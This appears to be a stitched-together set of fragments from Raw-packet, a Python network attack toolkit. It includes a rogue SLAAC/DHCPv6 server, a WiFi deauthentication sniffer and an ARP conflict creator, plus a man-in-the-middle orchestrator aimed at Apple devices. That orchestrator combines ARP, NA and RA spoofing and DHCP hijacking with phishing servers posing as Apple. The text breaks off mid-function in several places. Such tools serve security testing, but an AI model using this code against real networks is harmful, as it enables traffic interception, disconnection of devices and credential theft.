self.base.print_info('Wait timeout: ', str(timeout) + ' sec')
sleep(timeout)
# endregion
# region Return results
return self.results
# endregion
except AssertionError as Error:
self.base.print_error(Error.args[0])
exit(1)
target: Dict[str, Union[None, str]] = {
'mac_address': None,
'ipv6_address': None
}
first_suffix: Union[None, str] = None
last_suffix: Union[None, str] = None
clients: Dict = dict()
icmpv6_router_solicitation_address: str = '33:33:00:00:00:02'
dhcpv6_requests_address: str = '33:33:00:01:00:02'
# endregion
try:
# region Check user, platform and create threads
base.check_user()
base.check_platform()
tm = ThreadManager(5)
# endregion
# region Parse script arguments
parser = ArgumentParser(description='Rogue SLAAC/DHCPv6 server')
parser.add_argument('-i',
'--interface',
help='Set interface name for send reply packets')
parser.add_argument('-p',
'--prefix',
type=str,
help='Set network prefix',
default='fd00::/64')
parser.add_argument('-f',
class ICMPv6RouterSearch:
# region Set variables
_base: Base = Base()
_icmpv6: RawICMPv6 = RawICMPv6()
_raw_sniff: RawSniff = RawSniff()
_thread_manager: ThreadManager = ThreadManager(2)
_your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None, 'ipv6-link-address': None}
_retry_number: int = 3
_timeout: int = 3
_router_info: Union[None, Dict[str, Union[int, str]]] = None
# endregion
# region Init
def __init__(self, network_interface: str) -> None:
"""
Init
:param network_interface: Network interface name (example: 'eth0')
"""
self._your = self._base.get_interface_settings(interface_name=network_interface,
required_parameters=['mac-address',
'ipv6-link-address'])
self._raw_send: RawSend = RawSend(network_interface=network_interface)
# endregion
# region Analyze packet
def _analyze_packet(self, packet: Dict) -> None:
try:
assert 'Ethernet' in packet.keys()
assert 'IPv6' in packet.keys()
assert 'ICMPv6' in packet.keys()
assert 'type' in packet['ICMPv6'].keys()
# 134 Type of ICMPv6 Router Advertisement
assert packet['ICMPv6']['type'] == 134, 'Not ICMPv6 Router Advertisement packet!'
# Save router information
self._router_info = dict()
self._router_info['router_mac_address'] = packet['Ethernet']['source']
self._router_info['router_ipv6_address'] = packet['IPv6']['source-ip']
self._router_info['flags'] = hex(packet['ICMPv6']['flags'])
self._router_info['router-lifetime'] = int(packet['ICMPv6']['router-lifetime'])
self._router_info['reachable-time'] = int(packet['ICMPv6']['reachable-time'])
self._router_info['retrans-timer'] = int(packet['ICMPv6']['retrans-timer'])
for icmpv6_ra_option in packet['ICMPv6']['options']:
if icmpv6_ra_option['type'] == 3:
self._router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \
str(icmpv6_ra_option['value']['prefix-length'])
if icmpv6_ra_option['type'] == 5:
self._router_info['mtu'] = int(icmpv6_ra_option['value'], 16)
if icmpv6_ra_option['type'] == 25:
self._router_info['dns-server'] = str(icmpv6_ra_option['value']['address'])
# Search router vendor
self._router_info['vendor'] = \
self._base.get_vendor_by_mac_address(self._router_info['router_mac_address'])
except AssertionError:
pass
# endregion
# region Sniffer
def _sniff(self) -> None:
"""
Sniff ICMPv6 packets
:return: None
"""
# region ICMPv6 multicast ping scan
self._raw_sniff.start(protocols=['Ethernet', 'IPv6', 'ICMPv6'],
prn=self._analyze_packet,
filters={'ICMPv6': {'type': 134}},
network_interface=self._your['network-interface'],
scapy_filter='icmp6')
# endregion
# region Sender
def _send(self) -> None:
"""
Send ICMPv6 packets
:return: None
"""
request: bytes = self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'],
ipv6_src=self._your['ipv6-link-address'])
self._raw_send.send_packet(packet=request, count=self._retry_number, delay=0.1)
# endregion
# region Search IPv6 router
def search(self,
timeout: int = 3,
retry: int = 3,
exit_on_failure: bool = True) -> Dict[str, Union[int, str]]:
"""
Search IPv6 router in network
:param timeout: Timeout in seconds (default: 3)
:param retry: Retry number (default: 3)
:param exit_on_failure: Exit if IPv6 router in network not found (default: True)
:return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a',
'router_ipv6_address': 'fe80::1234:5678:90ab:cdef',
'flags': '0x0',
'router-lifetime': 0,
'reachable-time': 0,
'retrans-timer': 0,
'prefix': 'fd00::/64',
'vendor': 'D-Link International'})
"""
# region Set variables
self._timeout = int(timeout)
self._retry_number = int(retry)
# endregion
# region Run _sniffer
self._thread_manager.add_task(self._sniff)
# endregion
# region Run _sender
self._send()
# endregion
# region Wait
sleep(self._timeout)
# endregion
# region Return IPv6 router information
if self._router_info is None:
if exit_on_failure:
self._base.error_text('Could not found IPv6 Router on interface: ' + self._your['network-interface'])
exit(1)
return self._router_info
def main():
# region Init Raw-packet modules
base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin'])
thread_manager: ThreadManager = ThreadManager(10)
# endregion
# region Check user
base.check_user()
# endregion
# region Parse script arguments
script_description: str = \
base.get_banner(__script_name__) + '\n' + \
base.info_text('Ctrl-E') + ' Show Wireless access point information\n' + \
base.info_text('Ctrl-D') + ' Send IEEE 802.11 deauth packets\n' + \
base.info_text('Ctrl-D') + ' Switch WiFi channel\n' + \
base.info_text('Ctrl-A') + ' Send IEEE 802.11 association packet\n' + \
base.info_text('Ctrl-R') + ' Start scanner (switch between WiFi channels)\n' + \
base.info_text('Ctrl-H') + ' Show help information\n' + \
base.info_text('Ctrl-C') + ' Exit\n'
parser: ArgumentParser = ArgumentParser(
description=script_description,
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument('-i',
'--interface',
help='Set wireless interface name for sniff packets',
default=None)
parser.add_argument('-c',
'--channel',
type=int,
help='Set WiFi channel',
default=None)
parser.add_argument('-d',
'--debug',
action='store_true',
help='Maximum output')
args = parser.parse_args()
# endregion
# region Print banner
base.print_banner(__script_name__)
# endregion
try:
# region Get wireless network interface
wireless_interface: str = \
base.network_interface_selection(interface_name=args.interface,
only_wireless=True,
message='Please select a network interface for ' +
__script_name__ + ' from table: ')
# endregion
# region Init Raw-packet WiFi class
wifi: WiFi = WiFi(wireless_interface=wireless_interface,
wifi_channel=args.channel,
debug=args.debug)
# endregion
# region Start WiFi Sniffer
wifi_sniffer: WiFiSniffer = WiFiSniffer(wifi_instance=wifi,
base_instance=base,
tm_instance=thread_manager)
wifi_sniffer.run()
# endregion
except KeyboardInterrupt:
base.print_info('Exit')
exit(0)
except AssertionError as Error:
base.print_error(Error.args[0])
exit(1)
def start(self,
mitm_technique: Union[None, int] = None,
disconnect_technique: Union[None, int] = None,
mitm_interface: Union[None, str] = None,
deauth_interface: Union[None, str] = None,
target_mac_address: Union[None, str] = None,
target_ipv4_address: Union[None, str] = None,
target_new_ipv4_address: Union[None, str] = None,
target_ipv6_address: Union[None, str] = None,
target_new_ipv6_address: Union[None, str] = None,
gateway_ipv4_address: Union[None, str] = None,
gateway_ipv6_address: Union[None, str] = None,
dns_ipv4_address: Union[None, str] = None,
dns_ipv6_address: Union[None, str] = None,
ipv6_prefix: Union[None, str] = None,
phishing_site: Union[None, str] = None):
# region Variables
thread_manager: ThreadManager = ThreadManager(10)
mitm_network_interface: Union[None, str] = None
deauth_network_interface: Union[None, str] = None
disconnect: bool = False
deauth: bool = False
# endregion
# region Kill subprocess
if self._base.get_platform().startswith('Linux'):
try:
self._base.print_info('Stop services: ', 'dnsmasq, network-manager')
run(['service dnsmasq stop >/dev/null 2>&1'], shell=True)
run(['service network-manager stop >/dev/null 2>&1'], shell=True)
except OSError:
self._base.print_error('Something went wrong while trying to stop services:',
'dnsmasq and network-manager')
exit(1)
# Kill the processes that listens on 53, 68, 547 UDP port, 80 and 443 TCP ports
self._base.print_info('Stop processes that listens on UDP ports: ', '53, 68, 547')
self._base.kill_processes_by_listen_port(53, 'udp')
self._base.kill_processes_by_listen_port(68, 'udp')
self._base.kill_processes_by_listen_port(547, 'udp')
self._base.print_info('Stop processes that listens on TCP ports: ', '80, 443')
self._base.kill_processes_by_listen_port(80, 'tcp')
self._base.kill_processes_by_listen_port(443, 'tcp')
# endregion
# region MiTM technique selection
if self._base.get_platform().startswith('Windows') or self._base.get_platform().startswith('Darwin'):
self._mitm_techniques.remove('Second DHCP ACK')
self._disconnect_techniques.remove('Send WiFi deauthentication packets')
if mitm_technique is None:
self._base.print_info('MiTM technique list:')
_technique_pretty_table = PrettyTable([self._base.cINFO + 'Index' + self._base.cEND,
self._base.cINFO + 'MiTM technique' + self._base.cEND])
for _technique_index in range(len(self._mitm_techniques)):
_technique_pretty_table.add_row([str(_technique_index + 1),
self._mitm_techniques[_technique_index]])
print(_technique_pretty_table)
print(self._base.c_info + 'Set MiTM technique index from range (1 - ' +
str(len(self._mitm_techniques)) + '): ', end='')
_test_technique = input()
assert _test_technique.isdigit(), \
'MiTM technique index is not digit!'
else:
_test_technique = mitm_technique
self._mitm_technique = \
self._utils.check_value_in_range(value=int(_test_technique),
first_value=1, last_value=len(self._mitm_techniques),
parameter_name='MiTM technique') - 1
# endregion
# region Disconnect technique selection
if self._mitm_techniques[self._mitm_technique] == 'Second DHCP ACK':
disconnect = True
deauth = True
else:
if disconnect_technique is None:
self._base.print_info('Disconnect technique list:')
_disconnect_pretty_table = PrettyTable([self._base.cINFO + 'Index' + self._base.cEND,
self._base.cINFO + 'Disconnect technique' + self._base.cEND])
for _technique_index in range(len(self._disconnect_techniques)):
_disconnect_pretty_table.add_row([str(_technique_index + 1),
self._disconnect_techniques[_technique_index]])
print(_disconnect_pretty_table)
print(self._base.c_info + 'Set Disconnect technique index from range (1 - ' +
str(len(self._disconnect_techniques)) + '): ', end='')
_test_technique = input()
assert _test_technique.isdigit(), \
'Disconnect technique index is not digit!'
else:
_test_technique = disconnect_technique
self._disconnect_technique = \
self._utils.check_value_in_range(value=int(_test_technique),
first_value=1, last_value=len(self._disconnect_techniques),
parameter_name='Disconnect technique') - 1
# Do not disconnect device after MiTM
if self._disconnect_techniques[self._disconnect_technique] == 'Do not disconnect device after MiTM':
disconnect = False
deauth = False
# Use WiFi deauthentication disconnect technique
elif self._disconnect_techniques[self._disconnect_technique] == 'Send WiFi deauthentication packets':
disconnect = True
deauth = True
# Use IPv4 network conflict disconnect technique
else:
disconnect = True
deauth = False
# endregion
# region Get MiTM network interface
mitm_network_interface = \
self._base.network_interface_selection(interface_name=mitm_interface,
message='Please select a network interface for '
'MiTM Apple devices from table: ')
self._your = self._base.get_interface_settings(interface_name=mitm_network_interface,
required_parameters=['mac-address', 'ipv4-address'])
if self._your['ipv6-link-address'] is None:
self._your['ipv6-link-address'] = self._base.make_ipv6_link_address(self._your['mac_address'])
# endregion
# region Get Deauth network interface
if deauth:
assert mitm_network_interface in self._base.list_of_wireless_network_interfaces(), \
'Network interface: ' + self._base.error_text(mitm_network_interface) + ' is not Wireless!'
assert len(self._base.list_of_wireless_network_interfaces()) <= 1, \
'You have only one wireless interface: ' + self._base.info_text(mitm_network_interface) + \
'; to send WiFi deauth packets you need a second wireless interface!'
assert self._your['essid'] is not None \
and self._your['bssid'] is not None \
and self._your['channel'] is not None, \
'Network interface: ' + self._base.error_text(mitm_network_interface) + ' does not connect to AP!'
# region Set network interface for send wifi deauth packets
deauth_network_interface = \
self._base.network_interface_selection(interface_name=deauth_interface,
exclude_interface=mitm_network_interface,
only_wireless=True,
message='Please select a network interface for '
'send WiFi deauth packets from table: ')
self._wifi = WiFi(wireless_interface=deauth_network_interface,
wifi_channel=self._your['channel'], debug=False, start_scan=False)
# endregion
# region Check IPv4 or IPv6 mitm
if self._mitm_techniques[self._mitm_technique] in \
['ARP Spoofing', 'Second DHCP ACK', 'Predict next DHCP transaction ID']:
self._ipv4_mitm = True
elif self._mitm_techniques[self._mitm_technique] in \
['Rogue SLAAC/DHCPv6 server', 'NA Spoofing (IPv6)', 'RA Spoofing (IPv6)']:
self._ipv6_mitm = True
# endregion
# region Set IPv4 DNS server
if self._ipv4_mitm:
if dns_ipv4_address is not None:
self._dns_server['ipv4-address'] = \
self._utils.check_ipv4_address(network_interface=mitm_network_interface,
ipv4_address=dns_ipv4_address,
is_local_ipv4_address=False,
parameter_name='DNS server IPv4 address')
else:
self._dns_server['ipv4-address'] = self._your['ipv4-address']
# endregion
# region Set IPv6 DNS server
if self._ipv6_mitm:
if dns_ipv6_address is not None:
self._dns_server['ipv6-address'] = \
self._utils.check_ipv6_address(network_interface=mitm_network_interface,
ipv6_address=gateway_ipv6_address,
is_local_ipv6_address=False,
parameter_name='gateway IPv6 address',
check_your_ipv6_address=False)
else:
self._dns_server['ipv6-address'] = self._your['ipv6-link-address']
# endregion
# region Set IPv4 gateway
if self._ipv4_mitm:
if gateway_ipv4_address is not None:
self._gateway['ipv4-address'] = \
self._utils.check_ipv4_address(network_interface=mitm_network_interface,
ipv4_address=gateway_ipv4_address,
is_local_ipv4_address=True,
parameter_name='gateway IPv4 address')
else:
if self._mitm_techniques[self._mitm_technique] == 'ARP Spoofing':
assert self._your['ipv4-gateway'] is not None, \
'Network interface: ' + self._base.error_text(mitm_network_interface) + \
' does not have IPv4 gateway!'
self._gateway['ipv4-address'] = self._your['ipv4-gateway']
else:
self._gateway['ipv4-address'] = self._your['ipv4-address']
# endregion
# region Set IPv6 gateway
if self._ipv6_mitm:
if gateway_ipv6_address is not None:
self._gateway['ipv6-address'] = \
self._utils.check_ipv6_address(network_interface=mitm_network_interface,
ipv6_address=gateway_ipv6_address,
is_local_ipv6_address=True,
parameter_name='gateway IPv6 address',
check_your_ipv6_address=False)
else:
if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server':
self._gateway['ipv6-address'] = self._your['ipv6-link-address']
else:
self._base.print_info('Search IPv6 Gateway and DNS server on interface: ', mitm_network_interface)
self._icmpv6_router_search: ICMPv6RouterSearch = \
ICMPv6RouterSearch(network_interface=mitm_network_interface)
_router_advertisement_data = \
self._icmpv6_router_search.search(timeout=5, retry=3, exit_on_failure=True)
assert _router_advertisement_data is not None, \
'Can not find IPv6 gateway in local network on interface: ' + \
self._base.error_text(mitm_network_interface)
self._gateway['ipv6-address'] = _router_advertisement_data['router_ipv6_address']
if 'dns-server' in _router_advertisement_data.keys():
self._dns_server['ipv6-address'] = _router_advertisement_data['dns-server']
if 'prefix' in _router_advertisement_data.keys():
self._ipv6_network_prefix = _router_advertisement_data['prefix']
elif ipv6_prefix is not None:
self._ipv6_network_prefix = ipv6_prefix
if 'mtu' in _router_advertisement_data.keys():
self._mtu = int(_router_advertisement_data['mtu'])
# endregion
# region Set target IPv4 address and new IPv4 address
if self._ipv4_mitm:
self._target = \
self._utils.set_ipv4_target(network_interface=mitm_network_interface,
target_ipv4_address=target_ipv4_address,
target_mac_address=target_mac_address,
target_vendor='apple',
target_ipv4_address_required=False,
exclude_ipv4_addresses=[self._your['ipv4-gateway']])
# region Set target new IPv4 address
if self._mitm_techniques[self._mitm_technique] == 'Predict next DHCP transaction ID':
if target_new_ipv4_address is not None:
self._target['new-ipv4-address'] = \
self._utils.check_ipv4_address(network_interface=mitm_network_interface,
ipv4_address=target_new_ipv4_address,
is_local_ipv4_address=True,
parameter_name='target new IPv4 address')
else:
_free_ipv4_addresses = \
self._utils.get_free_ipv4_addresses(network_interface=mitm_network_interface)
self._target['new-ipv4-address'] = choice(_free_ipv4_addresses)
# endregion
# endregion
# region Set target IPv6 address and new IPv6 address
if self._ipv6_mitm:
self._target = \
self._utils.set_ipv6_target(network_interface=mitm_network_interface,
target_ipv6_address=target_ipv6_address,
target_mac_address=target_mac_address,
target_vendor='apple',
target_ipv6_address_is_local=True,
exclude_ipv6_addresses=[self._your['ipv6-gateway']])
# region Get target IPv4 address
try:
ipv4_target: Dict[str, str] = \
self._utils.set_ipv4_target(network_interface=mitm_network_interface,
target_ipv4_address=None,
target_mac_address=self._target['mac-address'],
quiet=True)
self._target['ipv4-address'] = ipv4_target['ipv4-address']
except AssertionError:
pass
# endregion
# region Set target new IPv6 address
if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server':
if target_new_ipv6_address is not None:
self._target['new-ipv6-address'] = \
self._utils.check_ipv6_address(network_interface=mitm_network_interface,
ipv6_address=target_new_ipv4_address,
is_local_ipv6_address=False,
parameter_name='target new global IPv6 address',
check_your_ipv6_address=True)
else:
self._target['new-ipv6-address'] = \
self._ipv6_network_prefix.split('/')[0] + format(randint(1, 65535), 'x')
# endregion
# endregion
# region General output
self._base.print_info('MiTM technique: ', self._mitm_techniques[self._mitm_technique])
self._base.print_info('Disconnect technique: ', self._disconnect_techniques[self._disconnect_technique])
self._base.print_info('Network interface: ', mitm_network_interface)
self._base.print_info('Your MAC address: ', self._your['mac-address'])
# region IPv4 MiTM
if self._ipv4_mitm:
self._base.print_info('Your IPv4 address: ', self._your['ipv4-address'])
self._base.print_info('Gateway IPv4 address: ', self._gateway['ipv4-address'])
if self._mitm_techniques[self._mitm_technique] != 'ARP Spoofing':
self._base.print_info('DNS server IPv4 address: ', self._dns_server['ipv4-address'])
if self._target['mac-address'] is not None:
self._base.print_info('Target MAC address: ', self._target['mac-address'])
if self._target['ipv4-address'] is not None:
self._base.print_info('Target IPv4 address: ', self._target['ipv4-address'])
if 'new-ipv4-address' in self._target.keys():
if self._target['new-ipv4-address'] is not None:
self._base.print_info('Target new IPv4 address: ', self._target['new-ipv4-address'])
# endregion
# region IPv6 MiTM
if self._ipv6_mitm:
self._base.print_info('Your IPv6 local address: ', self._your['ipv6-link-address'])
self._base.print_info('Prefix: ', self._ipv6_network_prefix)
self._base.print_info('Gateway IPv6 address: ', self._gateway['ipv6-address'])
self._base.print_info('DNS server IPv6 address: ', self._dns_server['ipv6-address'])
if self._target['mac-address'] is not None:
self._base.print_info('Target MAC address: ', self._target['mac-address'])
if 'ipv4-address' in self._target.keys():
if self._target['ipv4-address'] is not None:
self._base.print_info('Target IPv4 address: ', self._target['ipv4-address'])
if self._target['ipv6-address'] is not None:
self._base.print_info('Target IPv6 address: ', self._target['ipv6-address'])
if 'new-ipv6-address' in self._target.keys():
if self._target['new-ipv6-address'] is not None:
self._base.print_info('Target new global IPv6 address: ', self._target['new-ipv6-address'])
# endregion
# region WiFi info
if deauth:
self._base.print_info('Interface ', mitm_network_interface,
' connected to: ', self._your['essid'] + ' (' + self._your['bssid'] + ')')
self._base.print_info('Interface ', mitm_network_interface, ' channel: ', self._your['channel'])
self._base.print_info('Deauth network interface: ', deauth_network_interface)
# endregion
# endregion
# region Start DNS server
if self._dns_server['ipv4-address'] == self._your['ipv4-address'] or \
self._dns_server['ipv6-address'] == self._your['ipv6-link-address']:
self._base.print_info('Start DNS server ...')
thread_manager.add_task(self._start_dns_server)
# endregion
# region Disconnect device
if disconnect:
thread_manager.add_task(self._disconnect_device, deauth)
# endregion
# region Start IPv4 MiTM
if self._ipv4_mitm:
# region 1. ARP spoofing technique
if self._mitm_techniques[self._mitm_technique] == 'ARP Spoofing':
thread_manager.add_task(self._arp_spoof)
# endregion
# region 2. Second DHCP ACK technique
elif self._mitm_techniques[self._mitm_technique] == 'Second DHCP ACK':
thread_manager.add_task(self._dhcpv4_server)
# endregion
# region 3. Predict next DHCP transaction ID
elif self._mitm_techniques[self._mitm_technique] == 'Predict next DHCP transaction ID':
thread_manager.add_task(self._apple_dhcpv4_server)
# endregion
# endregion
# region Start IPv6 MiTM
if self._ipv6_mitm:
# region 4. Rogue SLAAC/DHCPv6 server
if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server':
thread_manager.add_task(self._dhcpv6_server)
# endregion
# region 5. NA Spoofing (IPv6)
elif self._mitm_techniques[self._mitm_technique] == 'NA Spoofing (IPv6)':
thread_manager.add_task(self._na_spoof)
# endregion
# region 6. RA Spoofing (IPv6)
elif self._mitm_techniques[self._mitm_technique] == 'RA Spoofing (IPv6)':
thread_manager.add_task(self._ra_spoof)
# endregion
# endregion
# region Start Phishing server
if phishing_site is None:
phishing_site = 'apple'
thread_manager.add_task(self._start_ipv4_phishing, phishing_site)
thread_manager.add_task(self._start_ipv6_phishing, phishing_site)
# endregion
# region Wait all threads
thread_manager.wait_for_completion()
class NetworkConflictCreator:
# region Variables
_base: Base = Base(admin_only=True,
available_platforms=['Linux', 'Darwin', 'Windows'])
_utils: Utils = Utils()
_arp: RawARP = RawARP()
_sniff: RawSniff = RawSniff()
_thread_manager: ThreadManager = ThreadManager(2)
_your: Dict[str, Union[None, str]] = {
'network-interface': None,
'mac-address': None
}
_target: Dict[str, Union[None, str]] = {
'ipv4-address': None,
'mac-address': None
}
_conflict_packet: Dict[str, Union[None, bytes]] = {
'request': None,
'response': None
}
_replies: bool = False
_requests: bool = False
_make_conflict: bool = False
_exit_on_success: bool = False
# endregion
# region Init
def __init__(self, network_interface: str) -> None:
"""
Init
:param network_interface: Network interface name (example: 'eth0')
"""
self._your = self._base.get_interface_settings(
interface_name=network_interface,
required_parameters=[
'mac-address', 'ipv4-address', 'first-ipv4-address',
'last-ipv4-address'
])
self._raw_send: RawSend = RawSend(network_interface=network_interface)
# endregion
# region Start Network Conflict Creator (ncc)
def start(self,
target_mac_address: Union[None, str] = None,
target_ip_address: Union[None, str] = None,
broadcast: bool = False,
replies: bool = False,
requests: bool = False,
exit_on_success: bool = False,
number_of_packets: int = 10) -> None:
try:
# region Set Variables
self._replies = replies
self._requests = requests
self._exit_on_success = exit_on_success
# endregion
# region Check Target MAC- and IP-address
if target_ip_address is not None:
self._target = self._utils.set_ipv4_target(
network_interface=self._your['network-interface'],
target_ipv4_address=target_ip_address,
target_mac_address=target_mac_address)
# endregion
# region Target IP address is not Set
if self._target['ipv4-address'] is None:
self._sniff_start()
# endregion
# region Target IP address is Set
if self._target['ipv4-address'] is not None:
# region Make ARP conflict packets
self._conflict_packet['response'] = \
self._arp.make_response(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=self._target['mac-address'],
sender_mac=self._your['mac-address'],
sender_ip=self._target['ipv4-address'],
target_mac=self._target['mac-address'],
target_ip=self._target['ipv4-address'])
if broadcast:
_destination_mac_address = 'ff:ff:ff:ff:ff:ff'
else:
_destination_mac_address = '33:33:00:00:00:01'
_random_ip: str = self._base.get_random_ip_on_interface(
self._your['network-interface'])
self._conflict_packet['request'] = \
self._arp.make_request(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=_destination_mac_address,
sender_mac=self._your['mac-address'],
sender_ip=self._target['ipv4-address'],
target_mac='00:00:00:00:00:00',
target_ip=_random_ip)
# endregion
# region Start Sniffer in thread
self._thread_manager.add_task(self._sniff_start)
sleep(3)
# endregion
# region Send ARP reply packets
if self._replies:
self._base.print_info(
'Send only ARP reply packets to: ',
str(self._target['ipv4-address']) + ' (' +
str(self._target['mac-address']) + ')')
self._raw_send.send_packet(
packet=self._conflict_packet['response'],
count=number_of_packets,
delay=0.5)
# endregion
# region Send ARP request packets
elif self._requests:
self._base.print_info(
'Send only Multicast ARP request packets to: ',
str(self._target['ipv4-address']) + ' (' +
str(self._target['mac-address']) + ')')
self._raw_send.send_packet(
packet=self._conflict_packet['request'],
count=number_of_packets,
delay=0.5)
# endregion
# region Send Multicast ARP request packets
else:
current_number_of_packets: int = 0
while not self._make_conflict:
if current_number_of_packets == number_of_packets:
break
else:
self._base.print_info(
'Send Multicast ARP request to: ',
str(self._target['ipv4-address']) + ' (' +
str(self._target['mac-address']) + ')')
self._raw_send.send_packet(
packet=self._conflict_packet['request'])
sleep(3)
current_number_of_packets += 1
# endregion
# endregion
except KeyboardInterrupt:
self._base.print_info('Exit NCC')
exit(0)
except AssertionError as Error:
self._base.print_error(Error.args[0])
exit(1)
# endregion
# region Send ARP reply packets
def _reply(self, packet: Dict):
try:
if not self._replies and not self._requests:
if 'ARP' in packet.keys():
if self._target['ipv4-address'] is not None:
if packet['ARP']['sender-ip'] == self._target['ipv4-address'] and \
packet['ARP']['sender-mac'] == self._target['mac-address']:
self._base.print_info(
'Send IPv4 Address Conflict ARP response to: ',
self._target['ipv4-address'] + ' (' +
self._target['mac-address'] + ')')
self._make_conflict = True
self._raw_send.send_packet(
self._conflict_packet['response'])
else:
if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
packet['ARP']['opcode'] == 1 and \
packet['ARP']['sender-ip'] == packet['ARP']['target-ip']:
self._base.print_info(
'Sniff Gratuitous ARP request for ',
packet['ARP']['sender-ip'] + ' (' +
packet['Ethernet']['source'] + ')')
self._base.print_info(
'Send Gratuitous ARP reply for ',
packet['ARP']['sender-ip'] + ' (' +
packet['Ethernet']['source'] + ')')
self._raw_send.\
send_packet(self._arp.make_response(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=packet['Ethernet']['source'],
sender_mac=self._your['mac-address'],
sender_ip=packet['ARP']['sender-ip'],
target_mac=packet['Ethernet']['source'],
target_ip=packet['ARP']['sender-ip']))
if 'DHCPv4' in packet.keys():
if packet['DHCPv4'][53] == 4:
self._base.print_success(
'DHCPv4 Decline from: ', packet['DHCPv4'][50] + ' (' +
packet['Ethernet']['source'] + ')',
' IPv4 address conflict detected!')
if self._exit_on_success:
self._make_conflict = True
exit(0)
if packet['DHCPv4'][53] == 3:
if 50 in packet['DHCPv4'].keys():
if 'client-mac-address' in packet['DHCPv4'].keys():
if packet['DHCPv4'][
'client-mac-address'] == self._target[
'mac-address']:
self._target['ipv4-address'] = str(
packet['DHCPv4'][50])
self._base.print_success('DHCPv4 Request from: ',
packet['Ethernet']['source'],
' requested ip: ',
str(packet['DHCPv4'][50]))
except KeyboardInterrupt:
exit(0)
except KeyError:
pass
except TypeError:
pass
# endregion
# region ARP sniffer
def _sniff_start(self):
try:
if self._target['ipv4-address'] is not None:
self._base.print_info('Sniff ARP or DHCPv4 requests from: ',
str(self._target['mac-address']))
self._sniff.start(
protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
prn=self._reply,
filters={
'Ethernet': {
'source': self._target['mac-address']
},
'UDP': {
'source-port': 68,
'destination-port': 67
}
},
network_interface=self._your['network-interface'],
scapy_filter='arp or (udp and (port 67 or 68))',
scapy_lfilter=lambda eth: eth.src == self._target[
'mac-address'])
else:
self._base.print_info('Sniff ARP or DHCPv4 requests ...')
self._sniff.start(
protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
prn=self._reply,
filters={
'UDP': {
'source-port': 68,
'destination-port': 67
}
},
network_interface=self._your['network-interface'],
scapy_filter='arp or (udp and (port 67 or 68))')
except KeyboardInterrupt:
exit(0)
# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2019, Raw-packet Project'
__credits__ = ['']
__license__ = 'MIT'
__version__ = '0.0.4'
__maintainer__ = 'Vladimir Ivanov'
__email__ = '*****@*****.**'
__status__ = 'Production'
# endregion
# region Check user and platform
Base = Base()
ArpScan = ArpScan()
Sniff = Sniff_raw()
TM = ThreadManager(2)
Base.check_user()
Base.check_platform()
# endregion
# region Parse script arguments
parser = ArgumentParser(description='Network conflict creator script')
parser.add_argument('-i', '--interface', type=str, help='Set interface name for listen and send packets')
parser.add_argument('-t', '--target_ip', type=str, help='Set target IP address', default=None)
parser.add_argument('-m', '--target_mac', type=str, help='Set target MAC address', default=None)
parser.add_argument('--replies', action='store_true', help='Send only ARP replies')
parser.add_argument('--requests', action='store_true', help='Send only ARP requests')
parser.add_argument('--broadcast', action='store_true', help='Send broadcast ARP requests')
if target_mac == "ff:ff:ff:ff:ff:ff":
Base.print_error(
"Could not find device MAC address with IP address: ",
target_ip)
exit(1)
else:
apple_device = [target_ip, target_mac]
# endregion
# region Print target IP and MAC address
Base.print_info("Target: ",
apple_device[0] + " (" + apple_device[1] + ")")
# endregion
# region Start sniffer
tm = ThreadManager(2)
tm.add_task(sniffer)
# endregion
# region Send first Multicast ARP request
sleep(3)
Base.print_warning("Send initial Multicast ARP requests")
send_arp_request()
# endregion
# region Wait for completion
tm.wait_for_completion()
# endregion
except KeyboardInterrupt:
Base.print_info("Exit")
class ScriptArpSpoofTest(TestCase):
# region Properties
variables: Variables = Variables()
base: Base = Base(admin_only=True,
available_platforms=['Linux', 'Darwin', 'Windows'])
context_manager: ContextManager = ContextManager()
thread_manager: ThreadManager = ThreadManager(10)
tshark_pcap_filename: str = join(variables.temp_directory,
'arp_spoof_test.pcap')
# endregion
def test01_main_responses(self):
if isfile(self.tshark_pcap_filename):
remove(self.tshark_pcap_filename)
find_spoof_packet: bool = False
arp_spoof: ArpSpoof = ArpSpoof(
network_interface=self.variables.your.network_interface)
self.thread_manager.add_task(arp_spoof.start,
self.variables.router.ipv4_address,
self.variables.target.ipv4_address,
self.variables.target.mac_address, False,
False, False, False, False)
command = self.variables.tshark_executable + \
' -i "' + self.variables.your.network_interface + \
'" -f "ether src ' + self.variables.your.mac_address + \
' and ether dst ' + self.variables.target.mac_address + \
' and arp" -B 65535 -w "' + self.tshark_pcap_filename + '"'
if self.base.get_platform().startswith('Darwin'):
Popen([command], shell=True, stdout=PIPE, stderr=STDOUT)
else:
Popen(command, shell=True, stdout=PIPE, stderr=STDOUT)
sleep(5)
self.thread_manager.close()
if self.base.get_platform().startswith('Windows'):
self.base.kill_process_by_name(process_name='tshark.exe')
else:
self.base.kill_process_by_name(process_name='tshark')
self.assertTrue(isfile(self.tshark_pcap_filename))
try:
packets = rdpcap(self.tshark_pcap_filename)
for packet in packets:
if packet.haslayer(ARP):
arp_packet = packet[ARP]
self.base.print_info('ARP opcode: ', str(arp_packet.op))
self.base.print_info('ARP sender MAC: ', arp_packet.hwsrc)
self.base.print_info('ARP target MAC: ', arp_packet.hwdst)
self.base.print_info('ARP sender IP: ', arp_packet.psrc)
self.base.print_info('ARP target IP: ', arp_packet.pdst)
if arp_packet.hwsrc == self.variables.your.mac_address and \
arp_packet.hwdst == self.variables.target.mac_address and \
arp_packet.psrc == self.variables.router.ipv4_address and \
arp_packet.pdst == self.variables.target.ipv4_address and \
arp_packet.op == 2:
find_spoof_packet = True
break
except ValueError:
pass
except FileNotFoundError:
pass
